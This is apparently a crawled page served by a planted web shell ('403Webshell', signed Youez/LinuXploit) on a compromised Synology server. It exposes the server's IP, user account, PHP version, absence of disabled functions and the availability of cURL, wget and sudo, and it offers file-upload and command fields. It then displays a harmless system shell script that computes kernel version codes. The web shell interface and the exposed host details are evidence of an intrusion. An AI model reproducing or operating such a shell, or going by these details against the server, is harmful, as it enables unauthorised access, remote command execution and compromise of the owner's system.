403Webshell
Server IP : 193.86.120.172  /  Your IP : 216.73.216.67
Web Server : Apache/2.4.63 (Unix)
System : Linux JServices 3.10.108 #86003 SMP Wed Oct 22 13:20:46 CST 2025 x86_64
User : kubec ( 1026)
PHP Version : 8.2.28
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /usr/syno/share/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/syno/share/kernelversion.sh
#!/bin/sh

# Generate linux kernel version code
# ex.
#   KernelVersionCode "2.4.22"  => 132118
#   KernelVersionCode "2.6"     => 132608
#   KernelVersionCode "2.6.32"  => 132640
#   KernelVersionCode "3"       => 196608
#   KernelVersionCode "3.0.0"   => 196608
KernelVersionCode()
{
	[ $# -eq 1 ] || return

	local _version_string _major_version _minor_version _revision
	_version_string="$(echo "$1" | /usr/bin/cut -d'_' -f1)."
	_major_version=$(echo "${_version_string}" | /usr/bin/cut -d'.' -f1)
	_minor_version=$(echo "${_version_string}" | /usr/bin/cut -d'.' -f2)
	_revision=$(echo "${_version_string}" | /usr/bin/cut -d'.' -f3)

	/bin/echo $((${_major_version:-0} * 65536 + ${_minor_version:-0} * 256 + ${_revision:-0}))
}

# Get current linux kernel version without extra version
# format: VERSION.PATCHLEVEL.SUBLEVEL
# ex. "2.6.32"
KernelVersion()
{
	local _release
	_release=$(/bin/uname -r)
	/bin/echo ${_release%%[-+]*} | /usr/bin/cut -d'.' -f1-3
}

Youez - 2016 - github.com/yon3zu
LinuXploit